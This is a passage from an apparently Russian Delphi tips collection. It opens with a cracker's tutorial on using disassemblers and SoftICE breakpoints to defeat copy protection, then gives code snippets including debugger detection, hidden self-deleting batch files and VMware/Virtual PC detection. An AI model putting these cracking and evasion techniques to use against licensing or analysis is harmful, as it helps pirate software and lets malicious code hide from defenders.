джампов и колов. ЭТО ОЧЕНЬ РЕДКИЙ СЛУЧАЙ, но такое в моей практике было.

Однажды мне пришлось ломать клипперную программу. Для тех, кто не в курсе, скажу, что это самоинтерпретатор. Т.е. все
команды языка переводятся в псевдокод, и к каждой из них сверху линкуется инициализация параметров в стеке и вызов
процедурки __plankton. Даже IF и вся булевская часть языка реализована таким образом. Попробуй, поменяй условие для
IF или FOR! На уровне ассемблера – это очень трудно делать. А, взяв деклиппер, любой дурак сможет. Вот я и смог. ;))

Что касается "невозможности обнаружения". Здесь я не имел ввиду то, что защититься от декомпиляции невозможно, нет.
Очень даже запросто! Но некоторые старые отладчики могли залететь на очень простом фокусе. Раньше, в ДОСе, сегменты
были ограничены длинной 65535, а точнее стековый указатель SP не может скакать через 0 или 0FFFFH. Поэтому если вы в
программе сделаете SP=0 – то многие отладчики повиснут. Это было тогда! Кончено, если вы будете использовать старые
отладчики сейчас, то это произойдет и сейчас. Почему это происходило? Ответ прост – прерывания. Отладчику нужен стек,
чтобы вызвался обработчик одного из отладочных прерываний. Если стека нет, то … Я помню свою детскую защитку.
Я прописывал в заголовок ЕХЕ файла значение SP равным 0, а в начале программы ставил защиту от дизассемблирования,
после чего вкатывал нужное SP. Блочок занимал несколько байт и элементарно обходился. Но как я сладостно потирал руки,
когда зависали отладчики при загрузке программы, а SOURCER выдавал чепуху.

Но разработчики дизассемблеров давно учли сложности использования своих программ. И появились такие программы, как
Хакер-VIEW (HIEW) и IDA (Интерактивный Дизассемблер). В чем их прелесть?

HACKERVIEW выпускается как внешний просмотрщик для Нортона. Вы можете просмотреть любой исполняемый файл по любому
смещению. Более того, вы можете "выполнить" какую-то часть программы или собственную программу, написанную естественно
на ассемблере. Это позволяет расшифровывать программы и обходить защиту от дизассемблирования. Он понимает, как старые
форматы исполняемых файлов DOS-COM и DOS-EXE, так и форматы исполняемых файлов Windows и OS/2.

IDA очень мощное средство работы с ассемблерными текстами программ. Обладает такими же возможностями, как и HACKERVIEW,
но имеет более удобный интерфейс. Также очень хорошо предусмотрена архитектура работы программ в Windows. Т.е. такие
вещи, как DLL, расширенный режим работы с памятью и т.д. В своей практике я ни разу не использовал IDA для ломки, но
для анализа вирусов приходилось. Очень хорошее средство.

Вывод:

интерактивные декомпиляторы программ занимают свою нишу в инструментарии кракера. В основном это совместное
использование с отладчиками, где основную работу делают отладчики. Дело в том, что программирование, благодаря
Windows, в основном стало событийным, а не линейным как это было в ДОСе. Поэтому иногда проще в отладчике поставить
брейк-точку на нужное нам событие, анализируем, что за гадости готовит нам программа. И уже после, если того требует
необходимость, лезем HEIW в нужную часть программы. Но многие задачи не требуют такого совместного использования.
Хотя все, конечно, в первую очередь решает привычка, стиль атаки, которую использует обычно кракер. Мне, например,
чаще нравится повозится SOFTICE-ом в проге, и лишь при крайней нужде я запускаю Hiew. Поэтому давайте перейдем к
самому интересному.

Второе средство: это отладчики. Трудно сказать, что было первым отладчиком или дебаггером. Но для меня все началось с
TurboDebugger`a фирмы Borland. Пакет отладочных инструментов этой фирмы поставлялся с такими продуктами, как
TurboAssembler, TurboPascal, TurboC, Borland C/C++.

Началось все с того, что нужно было поменять экранные формы одной широко используемой программы. Дело в том, что там
стояла проверка контрольной суммы содержимого экрана, и если там находилось что-то не то!!! Это была система "Клиент-банк",
написанная местными умельцами. Естественно, тогда не у всех банков были такие умельцы. Ну, вот и решили в другом банке,
скопировать программу и поменять экранные формы, чтобы клиенты знали с каким банком они работают!

Весь процесс ломки не занял много времени. Я тогда был глуп и неопытен. А посему стоял за спиной и выдавал новые идеи
на гора. Это был мой первый опыт работы с TurboDebugger`ом, опыт "из-за спины". После чего мне пришлось пережить два
своих проекта, в которых было много ассемблера. Тогда я и получил богатый опыт отладки с использованием TurboDebuggera.

Многие из понимающих людей будут смеяться, но первую программу я взломал при помощи TurboDebuggera! Было это сделано
по просьбе военных, когда я был на сборах. Уж не знаю, зачем им это надо было. Поручение было следующего плана.
В штабе стоял комп, чудо ворождебной техники Intel386 c 4-мя метрами памяти. После институтских двоек, просто песня.
Так вот, там был приклеен через интерфейсную плату летный тренажер. Господа офицеры, конечно, больше любили F-19.
Но вот, в тренажере были обязаны заниматься.

Тренажер был написан одним столичным ВУЗом и, защита была поставлена с умом. Все исполняемые файлы за редким исключением
были зашифрованы. Но, что самое главное расшифровка была повешена на отладочные прерывания INT 1 и INT 3.
Это был мой первый опыт "борьбы против потных рук", поэтому действовал я немножечко коряво.

Загрузив прогу в TurboDebugger, я проигнорировал переопределение векторов, и передал управление по адресу
"обработчика INT 3". Потом я проанализировал, чего там ждет "обработчик INT 1". Так выделился расшифровщик. Система
была проста, как коврик мыши. Все исполняемые модули, вызываемые из главной программы, были зашифрованы простой
операцией XOR от ключа длинной 512 байт записанного в определенном секторе винта. Т.е. 1-ый байт ключа ксорился с
1-ым байтом блока, 2-ой со 2-ым и т.д. Я не стал заниматься изысками, вычисляющими ключ. Я написал прогу, которая
читает ключ в файл или, если скажут, из файла в сектор на диске. Т.к. военные не умели пользоваться DISKEDITORом,
именно поэтому я написал прогу в обе стороны, которую они повезли в ближайшую военную часть, где стоял такой же
тренажер, но только винт не форматировали в отличии от моих клиентов.

Я привел этот пример для того, чтобы показать, что, во-первых, защита от дебагирования не самоцель и ей не стоит
уделять ей много времени благо все возможные люки уже известны и кракерам и программерам. Во-вторых, шифрование
прог не панацея от кракеров. Любой кракер, если получает заказ на взлом, имеет доступ до нормальной копии программы.
То есть он ее либо может купить, либо попользовать ее на компе покупателя. Но об этом чуть позднее.

Теперь вернемся к нашим отладчикам. В отладочный пакет фирмы Borland входили 4 отладчика. TD, TD286 и TD386, а
также гордость фирмы – отладчик с удаленной машины по COM-порту. Для истории хотел бы упомянуть о TD386. Этот
отладчик в отличие от других мог использовать встроенные в процессор возможности по отладке. Т.е. в CONFIG.SYS
прописывался драйвер, который переводил процессор в расширенный режим работы, а ДОС пускался в виртуальной машине.
Поэтому после него нельзя было пустить что-то, делающие нечто схожее. После чего в самом отладчике можно было
установить аппаратное прерывание на какие-то действия программы. Ну, там чтение из памяти, чтение из порта и т.д.
Но сделано это было коряво.

Поэтому я с удовольствием для себя открыл SOFTICE, WINICE (просто айс). Этот отладчик до сих пор является лучшим из
лучших, и его возможности позволяют крошить в щепы многие защиты. Если вы когда-нибудь видели ДОС-ский AFD. Вам будет
легко представить интерфейс этой программы. Несколько невзрачных окон и командный режим работы. Т.е. при переходе из
TurboDebuggera и иже с ним, хочется бросить это "чудо". Но разработчики этой программы пошли в нужную сторону. Если
вы вспомните большинство отладчиков, то там все их возможности "повешены" на какие-нибудь клавиши или пункты меню. Но
на самом деле этого мало!!! В айсе очень много возможностей, клавишей не хватит, и все они реализованы в "макроязык".
Ну, например, серия команд установки точек-останова (брейков). (Попробую на память) BPX – брейк на выполнение, BPM –
на обращение к памяти, BMSG – на сообщение Windows, BPIO – на обращение к ВУ, BPR – на обращение к участку памяти,
BPRW – на обращение к модулю, BPINT – на прерывание. Плюс еще условия на каждую из команд.

Например, мне надо поставить брейк на щелчек левой кнопкой мыши на кнопке в окне. Даем команду TASK, выбираем нужную
задачу. Даем команду hwnd <имя задачи>, выбираем нужный handle. Поверьте это не сложно, т.к. кнопка – это ресурс и
данные о нем и ее имя известно Windows, а значит и айсу. Так вот, выбираете handle кнопки, а т.к. любой видимый
компонент в Windows – это окно, то даем команду bmsg <хендл>. Ой, а как же нажатие мышки. В винде так много сообщений,
что не все упомнишь. Не беда, набираем wmsg wm_mouse* и видим, что wm_mousefirst=200H. В принципе, если вы помните
символьное имя нужного вам события, можете сразу его использовать. Итак, bmsg <хендл> wm_mousefirst. Как мы знаем в
виндах параметры сообщений запихиваются в регистры и еще кой-куда. Так вот, если вам нужно можете к любой команде
дописать if <регистр>=<выражение> ( bpio 21 r if al=1 – прерваться если с 21-го порта прочитана 1-ка). Для извращенных
способов ломки, когда чтений из LPT-порта море, можно после if-а добавить DO и одну из BPCOUNT, BPMISS, BPTOTAL – это
все запишется в журнал. После чего – сиди читай. Да, еще забыл. При указывании в условии IF можно указать операцию над
регистром. Например, чудесная команда BPX. Набрав bpx GetWindowText, вы можете смело запущать дальше программу.
Она прервется, когда вызовется функция виндов GetWindowText. Например, вам нужно поставить брейк на какую-нибудь
другую функцию, но с проверкой параметра. Набираем, bpx OtherFuncName if @(esp+смещение_параметра)=<значение>.
Это в старых айсах, в других bpx OtherFuncName if esp->смещение_параметра=<значение>. Вот такой наворот!

Кажется хватит. Нет, стоп, совсем забыл. Айс запускается на уровне ядра, т.е. им можно заходить и отлаживать VXD,
DRV. Но не это главное. Такие старинные штуки, как перекрытие векторов INT1 и INT 3 теперь не проходит. Конечно, и
у айса есть люки, как его можно обнаружить, но их очень легко увидеть и не допустить использование таких штучек для
обнаружения отладки. Айс на самом деле очень удобный интерфейс отладки. Я описал только возможности установки брейков
и не затронул остальных возможностей айса, т.к. именно брейки нас сейчас интересуют.

Вывод:

С появлением Windows отладка программ стала на порядок проще. И намного удобнее дизассемблирования. Принципиально
изменился стиль некоторых атак на защиту программ. Теперь не надо шаг за шагом смотреть на ассемблерные леса,
продираться сквозь дебри незначащих кодов и защит. Теперь надо отловить нужное событие и понять как на него реагирует
программа. Но это не всегда бывает так просто, как выглядит сейчас на словах. Как и ранее, отладка требует знание
архитектуры операционки. Чем лучше вы знаете внутренности виндов, тем проще для вас будет взломать программу.
Такой отладчик как SOFTICE сильно упрощает подход к анализу программ, он не требует таких навыков, как дизассемблеры.
Хотя это спорный вопрос.

Неважно насколько сложным был бы механизм защиты, но все сводится к простейшей проверке или дешифровке. И взлом, в
случае с проверкой, можно разбить на два этапа. Первый: это постановка брейков на "подозрительные" флаги, обнаруженные
в процедуре "защиты". Второй: анализ обращений к "флагам". По реакции программы можно судить "флаг" это или просто
переменная. Но об этом позже.

Продолжение следует.
К заголовку




" Как определить - находится ли приложение в режиме отладки
Обычно господа взломщики, для того, чтобы взломать защиту приложения, запускают его в режиме отладки и анализируют
машинный код для определения точки перехвата ввода пароля с клавиатуры.

Обычно таким способом ломаются игрушки :)

Конечно данный способ не сможет полностью защитить Ваш программный продукт от взлома, но прекратить выполнение
секретного кода - запросто. Для этого мы будем использовать API функцию IsDebuggerPresent. Единственный недостаток
этой функции, заключается в том, что она не работет под Windows 95.

Теперь посмотрим как эту функцию реализовать в Delphi:

function DebuggerPresent: boolean;
type
  TDebugProc = function: boolean; stdcall;
var
  Kernel32: HMODULE;
  DebugProc: TDebugProc;
begin
  Result := False;
  Kernel32 := GetModuleHandle('kernel32.dll');
  if Kernel32 <> 0 then
  begin
    @DebugProc := GetProcAddress(Kernel32, 'IsDebuggerPresent');
    if Assigned(DebugProc) then
      Result := DebugProc;
  end;
end;


А это окончательный пример вызова нашей функции:

if DebuggerPresent then
  ShowMessage('debugging')
else
  ShowMessage('NOT debugging');

К заголовку




" Как определить работает ли уже данное приложение или это его первая копия
Каждый экземпляр программы имеет ссылку на свою предыдущую копию - hPrevInst: hWnd. Ее можно проверить перед
созданием приложения и при необходимости отреагировать соответствующим образом. Если запущена только одна копия,
то эта ссылка равна нулю. Только для Delphi 1. Пример использования hPrevInst:

procedure TForm1.FormCreate(Sender: TObject);
begin
  // Проверяем есть ли указатель на предыдущую копию приложения
  if hPrevInst <> 0 then begin
    // Если есть, то выдаем сообщение и выходим
    MessageDlg('Программа уже запущена!', mtError, [mbOk], 0);
    Application.Terminate;
  end;
  // Иначе - ничего не делаем (не мешаем созданию формы)
end;


Другой способ - по списку загруженных приложений

procedure TForm1.FormCreate(Sender: TObject);
var
  Wnd : hWnd;
  buff : array[0.. 127] of Char;
begin
  //Получили указатель на первое окно
  Wnd := GetWindow(Handle, gw_HWndFirst);
  // Поиск
  while Wnd <> 0 do begin
    // Это окно предыдущей копии ?
    if (Wnd <> Application.Handle) and (GetWindow(Wnd, gw_Owner) = 0) then
    begin
      GetWindowText (Wnd, buff, sizeof (buff ));
      if StrPas (buff) = Application.Title then
      begin
        MessageDlg('Приложение уже загружено', mtWarning, [mbOk], 0);
        Halt;
      end;
    end;
    Wnd := GetWindow (Wnd, gw_hWndNext);
  end;
end;


Данный пример не всегда применим - часто заголовок приложения меняется при каждом старте, поэтому рассмотрим более
надежный способ - через FileMapping

Дело в том, что можно в памяти создавать временные файлы. При перезагрузке они теряются, а так существуют. Кстати,
этот метод можно использовать и для обмена информацией между вашими приложениями. Пример с использованием FileMapping:

program Project1;
uses
  Windows, // Обязательно
  Forms,
  Unit1 in 'Unit1.pas' {Form1};

{$R *.RES}
const
  MemFileSize = 1024;
  MemFileName = 'one_inst_demo_memfile';
var
  MemHnd : HWND;
begin
  // Попытаемся создать файл в памяти
  MemHnd := CreateFileMapping(HWND($FFFFFFFF),
    nil, PAGE_READWRITE, 0, MemFileSize, MemFileName);
  // Если файл не существовал запускаем приложение
  if GetLastError<>ERROR_ALREADY_EXISTS then
  begin
    Application.Initialize;
    Application.CreateForm(TForm1, Form1);
    Application.Run;
  end;
  CloseHandle(MemHnd);
end.


Часто при работе у пользователя может быть открыто 5-20 окон и сообщение о том, что программа уже запущено приводит к
тому, что он вынужден полчаса искать ранее запущенную копию. Выход из положения - найдя копию программы активировать
ее, для чего в последнем примере перед HALT необходимо добавить строку : SetForegroundWindow(Wnd);

Пример:

program Project0;
uses
  Windows, // !!!
  Forms,
  Unit0 in 'Unit0.pas' {Form1};

var
  Handle1 : LongInt;
  Handle2 : LongInt;

{$R *.RES}

begin
  Application.Initialize;
  Handle1 := FindWindow('TForm1',nil);
  if handle1 = 0 then
  begin
    Application.CreateForm(TForm1, Form1);
    Application.Run;
  end
  else
  begin
    Handle2 := GetWindow(Handle1,GW_OWNER);
    //Чтоб заметили :)
    ShowWindow(Handle2,SW_HIDE); ShowWindow(Handle2,SW_RESTORE);
    SetForegroundWindow(Handle1); // Активизируем
  end;
end.


Блокировка запуска второй копии при помощи Mutex На мой взгляд, это один из самых простых и надежных способов.

procedure TForm1.FormCreate(Sender: TObject);
var
  hMutex : THandle;
begin
  hMutex := CreateMutex(0, true , 'My application name');
  if GetLastError = ERROR_ALREADY_EXISTS then
  begin
    CloseHandle(hMutex);
    Application.Terminate;
  end;
end;


В данном примере при старте приложения создается мьютекс с некоторым уникальным именем (у каждого приложения оно
должно бять свое !!). Если хоть одна копия приложения запущена, то в системе уже будет мьютекс с таким именем и
возникнет ошибка ERROR_ALREADY_EXISTS. В противном случае мьютекс создается и существует, пока работает данная
копия приложения Задать вопрос
К заголовку




" Как определить, что моё приложение хотят завершить
procedure WMQueryEndSession(var message: TWMQueryEndSession);
message WM_QUERYENDSESSION;

...

procedure TMainFrm.WMQueryEndSession(var message: TWMQueryEndSession);
begin
  message.Result := 1;
  gEndSession := True;
end;

...

procedure TMainFrm.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
  CanClose := True;
  if gQueryEnd and not gEndSession then
    if MessageDlg('Quitting (your app name). Are you sure?',
    mtInformation, mbOKCancel, 0) = mrCancel then
      CanClose := False
end;


К заголовку




" Как отследить переход фокуса в приложении
procedure TForm1.AppControlChange(Sender: TObject);
begin
  if Sender is TScreen then
    Caption := TScreen(Sender).ActiveForm.ActiveControl.name;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  Screen.OnActiveControlChange := AppControlChange;
end;


К заголовку




" Как получить путь запущенного приложения
для этого используется функция ExtractFilePath. Вот примеры её использования:

MessageDlg('program path = ' + ExtractFilePath(Application.ExeName,
  mtInformation, [mbOk], 0);


или

function ApplicationPath: string;
begin
  Result := ExtractFilePath(ParamStr(0));
end;


К заголовку




" Как поменять приоритет моего приложения
procedure TForm1.Button1Click(Sender: TObject);
var
  ProcessID: DWORD;
  ProcessHandle: THandle;
  ThreadHandle: THandle;
begin
  ProcessID := GetCurrentProcessID;
  ProcessHandle := OpenProcess(PROCESS_SET_INFORMATION,
    false, ProcessID);
  SetPriorityClass(ProcessHandle, REALTIME_PRIORITY_CLASS);
  ThreadHandle := GetCurrentThread;
  SetThreadPriority(ThreadHandle, THREAD_PRIORITY_TIME_CRITICAL);
end;


К заголовку




" Как программе удалить саму себя
uses
  Windows, SysUtils;

procedure DeleteMe;
var
  BatchFile: TextFile;
  BatchFileName: string;
  ProcessInfo: TProcessInformation;
  StartUpInfo: TStartupInfo;
begin
  { создаём бат-файл в директории приложения }
  BatchFileName := ExtractFilePath(ParamStr(0)) + '$$336699.bat';

  { открываем и записываем в файл }
  AssignFile(BatchFile, BatchFileName);
  Rewrite(BatchFile);

  Writeln(BatchFile, ':try');
  Writeln(BatchFile, 'del "' + ParamStr(0) + '"');
  Writeln(BatchFile,
  'if exist "' + ParamStr(0) + '"' + ' goto try');
  Writeln(BatchFile, 'del "' + BatchFileName + '"');
  CloseFile(BatchFile);

  FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);
  StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;
  StartUpInfo.wShowWindow := SW_HIDE;

  if CreateProcess(nil, PChar(BatchFileName), nil, nil,
  False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo,
  ProcessInfo) then
  begin
    CloseHandle(ProcessInfo.hThread);
    CloseHandle(ProcessInfo.hProcess);
  end;
end;


А вот тот же способ, но немного модифицированный:

program delete2;

uses
  SysUtils, windows;

var
  BatchFile: TextFile;
  BatchFileName: string;
  TM: Cardinal;
  TempMem: PChar;

begin
  BatchFileName:=ExtractFilePath(ParamStr(0))+ '$$336699.bat';


  AssignFile(BatchFile, BatchFileName);
  Rewrite(BatchFile);

  Writeln(BatchFile,':try');
  Writeln(BatchFile,'del "' + ParamStr(0) + '"');
  Writeln(BatchFile,'if exist "' + ParamStr(0) + '" goto try');
  Writeln(BatchFile,'del "' + BatchFileName + '"');
  CloseFile(BatchFile);

  TM:=70;
  GetMem (TempMem,TM);
  GetShortPathName (pchar(BatchFileName), TempMem, TM);
  BatchFileName:=TempMem;
  FreeMem(TempMem);

  winexec(Pchar(BatchFileName),sw_hide);

  halt;
end.

-----------------------------------------


procedure DeleteSelf;
var
  module: HModule;
  buf: array [0..MAX_PATH - 1] of char;
  p: ULong;
  hKrnl32: HModule;
  pExitProcess,
  pDeleteFile,
  pFreeLibrary: pointer;
begin
  module := GetModuleHandle(nil);
  GetModuleFileName(module, buf, SizeOf(buf));
  CloseHandle(THandle(4));
  p := ULONG(module) + 1;
  hKrnl32 := GetModuleHandle('kernel32');
  pExitProcess := GetProcAddress(hKrnl32, 'ExitProcess');
  pDeleteFile := GetProcAddress(hKrnl32, 'DeleteFileA');
  pFreeLibrary := GetProcAddress(hKrnl32, 'FreeLibrary');
  asm
    lea eax, buf
    push 0
    push 0
    push eax
    push pExitProcess
    push p
    push pDeleteFile
    push pFreeLibrary
    ret
  end;
end;


К заголовку




" Как узнать активно ли приложение
if Application.Active then
  form1.Caption := 'active'
else
  form1.Caption := 'not active';
К заголовку




" Как узнать версию программы
function FileVersion(AFileName: string): string;
var
  szName: array[0..255] of Char;
  P: Pointer;
  Value: Pointer;
  Len: UINT;
  GetTranslationString: string;
  FFileName: PChar;
  FValid: boolean;
  FSize: DWORD;
  FHandle: DWORD;
  FBuffer: PChar;
begin
  try
    FFileName := StrPCopy(StrAlloc(Length(AFileName) + 1), AFileName);
    FValid := False;
    FSize := GetFileVersionInfoSize(FFileName, FHandle);
    if FSize > 0 then
    try
      GetMem(FBuffer, FSize);
      FValid := GetFileVersionInfo(FFileName, FHandle, FSize, FBuffer);
    except
      FValid := False;
      raise;
    end;
    Result := '';
    if FValid then
      VerQueryValue(FBuffer, '\VarFileInfo\Translation', p, Len)
    else
      p := nil;
    if P <> nil then
      GetTranslationString := IntToHex(MakeLong(HiWord(Longint(P^)),
        LoWord(Longint(P^))), 8);
    if FValid then
    begin
      StrPCopy(szName, '\StringFileInfo\' + GetTranslationString +
        '\FileVersion');
      if VerQueryValue(FBuffer, szName, Value, Len) then
        Result := StrPas(PChar(Value));
    end;
  finally
    try
      if FBuffer <> nil then
        FreeMem(FBuffer, FSize);
    except
    end;
    try
      StrDispose(FFileName);
    except
    end;
  end;
end;

В качестве параметра задать имя программы, если своей программы:

FileVersion(Paramstr(0));

К заголовку




" Каким образом, программным путем, можно узнать о завершении запущенной программы
16-битная версия:

uses Wintypes, WinProcs, Toolhelp, Classes, Forms;

function WinExecAndWait(Path: string; Visibility: word): word;
var
  InstanceID: THandle;
  PathLen: integer;
begin
  { Преобразуем строку в тип PChar }

  PathLen := Length(Path);
  Move(Path[1], Path[0], PathLen);
  Path[PathLen] := #00;
  { Пытаемся запустить приложение }

  InstanceID := WinExec(@Path, Visibility);
  if InstanceID < 32 then { значение меньше 32 указывает на ошибку приложения }
    WinExecAndWait := InstanceID

  else
  begin
    repeat
      Application.ProcessMessages;
    until Application.Terminated or (GetModuleUsage(InstanceID) = 0);
    WinExecAndWait := 32;
  end;
end;


32-битная версия:

function WinExecAndWait32(FileName: string; Visibility: integer): integer;
var
  zAppName: array[0..512] of char;
  zCurDir: array[0..255] of char;
  WorkDir: string;
  StartupInfo: TStartupInfo;
  ProcessInfo: TProcessInformation;
begin
  StrPCopy(zAppName, FileName);
  GetDir(0, WorkDir);
  StrPCopy(zCurDir, WorkDir);
  FillChar(StartupInfo, Sizeof(StartupInfo), #0);
  StartupInfo.cb := Sizeof(StartupInfo);

  StartupInfo.dwFlags := STARTF_USESHOWWINDOW;
  StartupInfo.wShowWindow := Visibility;
  if not CreateProcess(nil,
    zAppName, { указатель командной строки }
    nil, { указатель на процесс атрибутов безопасности }
    nil, { указатель на поток атрибутов безопасности }
    false, { флаг родительского обработчика }
    CREATE_NEW_CONSOLE or { флаг создания }
    NORMAL_PRIORITY_CLASS,
    nil, { указатель на новую среду процесса }
    nil, { указатель на имя текущей директории }
    StartupInfo, { указатель на STARTUPINFO }
    ProcessInfo) then
    Result := -1 { указатель на PROCESS_INF }

  else
  begin
    WaitforSingleObject(ProcessInfo.hProcess, INFINITE);
    GetExitCodeProcess(ProcessInfo.hProcess, Result);
  end;
end;


Дополнение

Письмо от читателя:

Очень помог совет из API\Разное: "Каким образом, программным путем, можно узнать о завершении запущенной программы?".
Однако хочется внести резонное исправление: вместо

WaitforSingleObject(ProcessInfo.hProcess,INFINITE);


лучше написать:

while WaitforSingleObject(ProcessInfo.hProcess,200)=WAIT_TIMEOUT do
  Repaint;


Смысл замены прост: в первом варианте главное окно ждёт завершения вызванного сообщения, не обрабатывая при этом
никаких событий. Вследствие этого главное окно даже не перерисовывается, что выглядит очень некрасиво. Второй
вариант исправляет этот недостаток.
К заголовку




" Количество запущенных копий программы
program CrtApp;

uses
  SysUtils, WinTypes, WinProcs, WinCrt;

var
  NumInstances, SavePrevInst: word;

procedure GetInstanceData(hInst, Offset, Size: Word); far; external 'KERNEL';
begin
  SavePrevInst := hPrevInst;
  NumInstances := 0;
  while hPrevInst <> 0 do
  begin
    GetInstanceData(hPrevInst, Ofs(hPrevInst), SizeOf(hPrevInst));
    Inc(NumInstances);
  end;
  Writeln('Уже запущено ', NumInstances, ' копий программы');
  hPrevInst := SavePrevInst;
end.


К заголовку




" Миниатюрное Delphi-приложение
Следующая программа генерирует .EXE-файл размером менее чем 2Кб (1176 байт с моей специальной конфигурацией)...

{$A+,B-,D-,F-,G+,I-,K-,L-,N-,P-,Q-,R-,S-,T-,V-,W-,X+,Y-}
{$M 32768,0}
uses WinTypes, WinProcs;
begin
  MessageBox(GetActiveWindow, 'Вася, это ты?', 'Dr.Bob',
    MB_ICONINFORMATION OR MB_OK)
end.


К заголовку




" Определить запущена ли программа под системным аккаунтом
function OnSystemAccount(): Boolean;
 const
   cnMaxNameLen = 254;
 var
   sName: string;
   dwNameLen: DWORD;
 begin
   dwNameLen := cnMaxNameLen - 1;
   SetLength(sName, cnMaxNameLen);
   GetUserName(PChar(sName), dwNameLen);
   SetLength(sName, dwNameLen);
   if UpperCase(Trim(sName)) = 'SYSTEM' then Result := True
    else
      Result := False;
 end;
К заголовку




" Определить, управляется ли удаленно текущая сессия
{
  Call GetSystemMetrics() with the Flag SM_REMOTECONTROL to determine
  if the current session is remotely controlled.
  Its value is TRUE if the current session is remotely controlled;
  FALSE otherwise.
}

 function IsRemotelyControlled: Boolean;
 const
   SM_REMOTECONTROL = $2001; // from WinUser.h
begin
   Result := Boolean(GetSystemMetrics(SM_REMOTECONTROL));
 end;

 procedure TForm1.Button1Click(Sender: TObject);
 begin
   if IsRemotelyControlled then
     ShowMessage('Remotely controlled.')
   else
     ShowMessage('Not Remotely controlled.')
 end;
К заголовку




" Определить, что программа запущена в пространстве VMware
////////////////////////////////////////////////////////////////////////////////
//
//  Simple VMware check on i386
//
//    Note: There are plenty ways to detect VMware. This short version bases
//    on the fact that VMware intercepts IN instructions to port 0x5658 with
//    an magic value of 0x564D5868 in EAX. However, this is *NOT* officially
//    documented (used by VMware tools to communicate with the host via VM).
//
//    Because this might change in future versions - you should look out for
//    additional checks (e.g. hardware device IDs, BIOS informations, etc.).
//    Newer VMware BIOS has valid SMBIOS informations (you might use my BIOS
//    Helper unit to dump the ROM-BIOS (http://www.bendlins.de/nico/delphi).
//

function IsVMwarePresent(): LongBool; stdcall;  // platform;
begin
   Result := False;
  {$IFDEF CPU386}
   try
     asm
             mov     eax, 564D5868h
             mov     ebx, 00000000h
             mov     ecx, 0000000Ah
             mov     edx, 00005658h
             in      eax, dx
             cmp     ebx, 564D5868h
             jne     @@exit
             mov     Result, True
     @@exit:
     end;
   except
     Result := False;
   end;
 {$ENDIF}
 end;
К заголовку




" Определить, что программа запущена в пространстве Virtual PC
{
  This function can be used to determine whether your program is
  running from within Connectrix's Virtual PC
}

 function running_inside_vpc: boolean; assembler;
 asm
   push ebp

   mov  ecx, offset @@exception_handler
   mov  ebp, esp

   push ebx
   push ecx
   push dword ptr fs:[0]
   mov  dword ptr fs:[0], esp

   mov  ebx, 0 // flag
  mov  eax, 1 // VPC function number

  // call VPC
  db 00Fh, 03Fh, 007h, 00Bh

   mov eax, dword ptr ss:[esp]
   mov dword ptr fs:[0], eax
   add esp, 8

   test ebx, ebx
   setz al
   lea esp, dword ptr ss:[ebp-4]
   mov ebx, dword ptr ss:[esp]
   mov ebp, dword ptr ss:[esp+4]
   add esp, 8
   jmp @@ret
   @@exception_handler:
   mov ecx, [esp+0Ch]
   mov dword ptr [ecx+0A4h], -1 // EBX = -1 -> not running, ebx = 0 -> running
  add dword ptr [ecx+0B8h], 4 // -> skip past the detection code
  xor eax, eax // exception is handled
  ret
   @@ret:
 end;


К заголовку




" Отображение главного окна приложения на переднем плане
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Отображение главного окна приложения на переднем плане

Зависимости: Windows, SysUtils, Classes, Controls, Forms
Автор:       Dimka Maslov, mainbox@endimus.ru, ICQ:148442121, Санкт-Петербург
Copyright:   Dimka Maslov
Дата:        29 апреля 2002 г.
***************************************************** }

procedure JumpUp;
var
  Info: TAnimationInfo;
  Animation: LongBool;
  hApp: hWnd;
begin
  hApp := Application.Handle;
  if IsIconic(hApp) then
    Application.Restore
  else
  begin
    SetActiveWindow(hApp);
    Info.cbSize := SizeOf(Info);
    if SystemParametersInfo(SPI_GETANIMATION, SizeOf(Info), @Info, 0) then
      Animation := Info.iMinAnimate <> 0
    else
      Animation := False;
    Info.iMinAnimate := nFalse;
    SystemParametersInfo(SPI_SETANIMATION, SizeOf(Info), @Info, 0);
    ShowWindow(hApp, SW_MINIMIZE);
    ShowWindow(hApp, SW_RESTORE);
    Info.iMinAnimate := integer(Animation);
    SystemParametersInfo(SPI_SETANIMATION, SizeOf(Info), @Info, 0);
  end;
  Application.MainForm.Repaint;
end;
К заголовку




" Отобразить информацию из Version Info проекта
{
Copyright © 1999 by Delphi 5 Developer's Guide - Xavier Pacheco and Steve Teixeira
}

unit MainFrm;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls,
  Forms, Dialogs, FileCtrl, StdCtrls, verinfo, Grids, Outline, DirOutln,
  ComCtrls;

type
  TMainForm = class(TForm)
    lvVersionInfo: TListView;
    btnClose: TButton;
    procedure FormDestroy(Sender: TObject);
    procedure FormShow(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure btnCloseClick(Sender: TObject);
  private
    VerInfoRes: TVerInfoRes;
  end;

var
  MainForm: TMainForm;

implementation

{$R *.DFM}

procedure AddListViewItem(const aCaption, aValue: string; aData: Pointer;
  aLV: TListView);
// This method is used to add a TListItem to the TListView, aLV
var
  NewItem: TListItem;
begin
  NewItem := aLV.Items.Add;
  NewItem.Caption := aCaption;
  NewItem.Data := aData;
  NewItem.SubItems.Add(aValue);
end;

procedure TMainForm.FormCreate(Sender: TObject);
begin
  VerInfoRes := TVerInfoRes.Create(Application.ExeName);
end;

procedure TMainForm.FormDestroy(Sender: TObject);
begin
  VerInfoRes.Free;
end;

procedure TMainForm.FormShow(Sender: TObject);
var
  VerString: string;
  i: integer;
  sFFlags: string;

begin
  for i := ord(viCompanyName) to ord(viComments) do
  begin
    VerString := VerInfoRes.GetPreDefKeyString(TVerInfoType(i));
    if VerString <> '' then
      AddListViewItem(VerNameArray[TVerInfoType(i)], VerString, nil,
        lvVersionInfo);
  end;
  VerString := VerInfoRes.GetUserDefKeyString('Author');
  if VerString <> EmptyStr then
    AddListViewItem('Author', VerString, nil, lvVersionInfo);

  AddListViewItem('File Version', VerInfoRes.FileVersion, nil,
    lvVersionInfo);
  AddListViewItem('Product Version', VerInfoRes.ProductVersion, nil,
    lvVersionInfo);
  for i := 0 to VerInfoRes.FileFlags.Count - 1 do
  begin
    if i <> 0 then
      sFFlags := SFFlags + ', ';
    sFFlags := SFFlags + VerInfoRes.FileFlags[i];
  end;
  AddListViewItem('File Flags', SFFlags, nil, lvVersionInfo);
